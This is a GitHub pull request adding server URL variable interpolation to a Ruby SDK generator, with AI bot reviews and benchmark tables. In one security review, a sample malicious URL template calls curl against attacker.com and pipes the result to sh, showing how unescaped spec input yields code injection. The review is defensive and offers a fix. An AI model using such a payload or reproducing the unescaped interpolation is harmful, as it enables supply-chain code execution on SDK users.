feat(ruby): support server URL variables (region/edge routing)#16980
feat(ruby): support server URL variables (region/edge routing)#16980devin-ai-integration[bot] wants to merge 4 commits into
Conversation
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
devin-ai-integration
Bot
requested review from
Swimburger and
iamnamananand996
as code owners
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
![nitpickybot[bot]](https://avatars.githubusercontent.com/in/2901896?s=60&v=4){kind=small}
There was a problem hiding this comment.
AI Review Summary
Adds server URL variable interpolation to the Ruby v2 generator. The core logic is sound, but there's a scoping bug in the generated singleBaseUrl path and a missing input validation gap for allowed values.
- 🔴 1 critical issue(s)
- 🟡 1 warning(s)
- 🔵 2 suggestion(s)
| return ruby.codeblock((writer) => { | ||
| writer.writeLine(`if ${condition}`); | ||
| writer.indent(); | ||
| writeLocalDeclarations(writer); | ||
| writer.writeLine(`base_url = ${this.urlTemplateToRubyString(template, options)}`); |
There was a problem hiding this comment.
🔴 critical
In the singleBaseUrl branch, base_url is assigned inside the if block, but base_url is a method parameter — reassigning it works. However, the interpolation only runs when a server variable is provided, and the assignment overwrites the user-supplied base_url even if they explicitly passed one. If a user passes both base_url: and a server variable, their explicit base_url is silently clobbered by the interpolated template. Consider only interpolating when base_url was not explicitly provided (mirror how the runtime falls back base_url || environment).
| const value = | ||
| template != null | ||
| ? this.urlTemplateToRubyString(template, options) | ||
| : JSON.stringify(staticUrls[baseUrl.id] ?? ""); |
There was a problem hiding this comment.
🟡 warning
staticUrls[baseUrl.id] ?? "" will silently emit an empty string as a URL if a base URL has neither a template nor a static value. That produces a client that quietly points at "". Prefer failing loudly (or skipping the key) rather than generating a broken environment hash.
| const writeLocalDeclarations = (writer: ruby.Writer): void => { | ||
| for (const { optionName, localName, variable } of options) { | ||
| const fallback = JSON.stringify(variable.default ?? ""); | ||
| writer.writeLine(`${localName} = ${optionName}.nil? ? ${fallback} : ${optionName}`); |
There was a problem hiding this comment.
🔵 suggestion
variable.default ?? "" falls back to an empty string when a variable has no default. Combined with the {id} interpolation, an omitted variable with no default yields a URL segment of "" — likely a malformed URL. Worth documenting or guarding; the generated docs claim it "falls back to each variable's default" but there may be none.
| for (const { variable, optionName } of serverVariableOptions) { | ||
| const docLines: string[] = []; | ||
| if (variable.values != null && variable.values.length > 0) { | ||
| docLines.push(`Allowed values: ${variable.values.join(", ")}.`); |
There was a problem hiding this comment.
🔵 suggestion
The YARD docs advertise Allowed values, but no runtime validation enforces them — a user can pass any string and it flows straight into the URL. That's acceptable if intentional (matching Python/Java), but consider noting it, since the doc implies a constraint that isn't enforced.
![hex-security-app[bot]](https://avatars.githubusercontent.com/in/2665233?s=60&v=4){kind=small}
| for (const { variable, localName } of options) { | ||
| result = result.split(`{${variable.id}}`).join(`#{${localName}}`); | ||
| } | ||
| return `"${result}"`; |
There was a problem hiding this comment.
The urlTemplateToRubyString function embeds the raw template string (which originates directly from server.url in the OpenAPI spec, confirmed at convertServer.ts:22 with no sanitization) into a Ruby double-quoted string literal without escaping. Ruby double-quoted strings interpret #{} as arbitrary expression interpolation, and " terminates the string.
An attacker who controls the API spec (e.g., a third-party API definition published to a registry or pulled via fern add) can craft a URL template such as:
https://api.{region}.example.com/#{`system('curl http://attacker.com/pwn | sh')`}
After processing, {region} → #{_region} and the injected payload is preserved. The generator emits:
base_url = "https://api.#{_region}.example.com/#{`system('curl http://attacker.com/pwn | sh')`}"This executes the shell command every time the generated SDK's initialize is called by end users — a supply-chain code injection attack. Similarly, an unescaped " in the template would break out of the string literal and allow injection of arbitrary Ruby statements.
Prompt To Fix With AI
In `urlTemplateToRubyString`, escape all Ruby-special characters in the template *before* performing variable substitution, and avoid accidental double-escaping of the intentionally inserted `#{}` sequences. A safe approach:
1. Use a unique placeholder (e.g., `\x00VAR\x00N\x00`) for each `{variable.id}` *before* any escaping.
2. Escape the template for Ruby double-quoted string context: replace `\` → `\\`, `"` → `\"`, and `#` → `\#` (only free-standing `#`, not our placeholders).
3. Replace placeholders back with `#{localName}`.
Example implementation:
```typescript
private urlTemplateToRubyString(template: string, options: ServerVariableOption[]): string {
// Step 1: replace each {id} with a safe placeholder
const placeholders: string[] = [];
let result = template;
for (let i = 0; i < options.length; i++) {
const placeholder = `\x00VAR${i}\x00`;
placeholders.push(placeholder);
result = result.split(`{${options[i]!.variable.id}}`).join(placeholder);
}
// Step 2: escape backslashes, double-quotes, and # (prevent arbitrary interpolation)
result = result
.split("\\").join("\\\\")
.split('"').join('\\"')
.split("#").join("\\#");
// Step 3: restore placeholders as Ruby interpolation sequences
for (let i = 0; i < options.length; i++) {
result = result.split(placeholders[i]!).join(`#{${options[i]!.localName}}`);
}
return `"${result}"`;
}
```
This ensures that only the intentionally generated `#{localName}` interpolations are active in the emitted Ruby string, and any attacker-controlled `"`, `\`, or `#` in the URL template is neutralised.Severity: high | Confidence: 90% | React with 👍 if useful or 👎 if not
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
SDK Generation Benchmark ResultsComparing PR branch against median of 5 nightly run(s) on Full benchmark table (click to expand)
main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via |
![devin-ai-integration[bot]](https://avatars.githubusercontent.com/in/811515?s=60&v=4){kind=small}
| return ruby.codeblock((writer) => { | ||
| writer.writeLine(`if ${condition}`); | ||
| writer.indent(); | ||
| writeLocalDeclarations(writer); | ||
| writer.writeLine(`base_url = ${this.urlTemplateToRubyString(template, options)}`); | ||
| writer.dedent(); | ||
| writer.writeLine(`end`); | ||
| }); |
There was a problem hiding this comment.
🔍 Server variable interpolation unconditionally overwrites user-supplied base_url
When any server variable is non-nil, the generated if block at lines 842-848 overwrites the base_url local variable (or environment for multi-URL at lines 857-876) with the interpolated URL, even if the user explicitly passed a base_url argument. This means MyClient.new(base_url: 'https://custom.example.com', region: 'eu-west-1') would ignore the custom base_url in favor of the templated URL. This is likely intentional (server variables imply template usage), but the precedence behavior is not documented in the generated code's YARD docs and could surprise users.
Was this helpful? React with 👍 or 👎 to provide feedback.
There was a problem hiding this comment.
This is intentional and matches the existing Python/Java/TS behavior this PR mirrors. In Python's _write_url_template_interpolation, the singleBaseUrl branch likewise does base_url = "<template>".format(...) unconditionally when any server variable is set, and the multipleBaseUrls branch sets environment = ... (leaving an explicit base_url to still win downstream). This Ruby implementation is consistent with that:
multipleBaseUrls(the fixture here): theifblock rebuildsenvironment, and an explicitly-passedbase_urlstill takes precedence viabase_url || environment&.dig(:base)for the default URL, while server variables still apply to the other named URLs (e.g.auth).singleBaseUrl: server variables interpolate into the single base URL; there's no separate URL for an explicitbase_urlto coexist with, matching Python.
Keeping it aligned with the other generators to preserve cross-language consistency, so no code change here.
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Docs Generation Benchmark ResultsComparing PR branch against median of 5 nightly run(s) on
Docs generation runs |
Description
Adds server URL variable (a.k.a. region/edge) routing support to the Ruby v2 SDK generator (
generators/ruby-v2). This mirrors the TypeScript rollout in #16977 and the existing Python/Java behavior (construction-time interpolation).OpenAPI
servers[].variablesare modeled in the IR asEnvironmentsConfig, where each environment carries aurlTemplate/urlTemplates(URL strings with{id}placeholders) plusurlVariables(ServerVariable { id, name, default, values? }). Previously the Ruby generator ignoredurlVariablesand only emitted the static default URL(s). Now each server variable is exposed as an optional keyword argument on the client initializer and interpolated into the base URL(s) at construction time.Changes Made
RootClientGenerator.ts:collectServerVariables()readsir.environments, handling bothsingleBaseUrlandmultipleBaseUrlsshapes, taking variables from the first environment that declares them and de-duplicating byid.getServerVariableOptions()maps each variable'snameto an idiomatic snake_case initializer keyword. Names colliding with a reserved option (base_url,environment,max_retries,token, ...) are prefixed withserver_url_(so a variable literally namedenvironmentis surfaced asserver_url_environment).nil-defaulted keyword parameter (with YARD docs for allowed values + default).getServerVariableInterpolationStatement()emits, as the first statement ofinitialize, an interpolation block: when any server variable is provided, the base URL(s) are rebuilt from the environment's URL template(s), substituting{id}→#{_option}and falling back to each variable's IRdefault. FormultipleBaseUrlsit rebuilds theenvironmenthash (each named base URL from its own template); forsingleBaseUrlit rebuildsbase_url.server-url-templatingfixture toseed/ruby-sdk-v2/seed.yml(outputFolder: no-custom-config,customConfig: null).seed/ruby-sdk-v2/server-url-templating/.generators/ruby-v2/sdk/changes/unreleased/add-server-url-variable-support.yml(type: feat).Generated
initializefor the fixture (multipleBaseUrls:base+auth):regionandserver_url_environment(collision with the reservedenvironmentoption) are exposed as optional keyword args and interpolated into both thebaseandauthURLs, defaulting tous-east-1/prod.Changes Made
server-url-templatingfixture + regenerated snapshotfeatentry for Ruby v2 SDKTesting
seed test --generator ruby-sdk-v2 --fixture server-url-templating --local→success(1/1).@fern-api/ruby-sdkunit tests pass (6/6). The Ruby v2 SDK has no client/environment unit-test suite, so the seed snapshot serves as the regression test.Server URL variable validation
Server URL variable validation: Region/environment values are interpolated into the URL template verbatim. Values are NOT validated against the declared allowed values (
enum) — passing an unknown value (e.g.region="mars") simply produceshttps://api.mars.<...>rather than raising. This matches the existing Python and Java generator behavior for server URL variables.Link to Devin session: https://app.devin.ai/sessions/26cd50f091e14ba0980be6cee2b85d7a
Requested by: @cadesark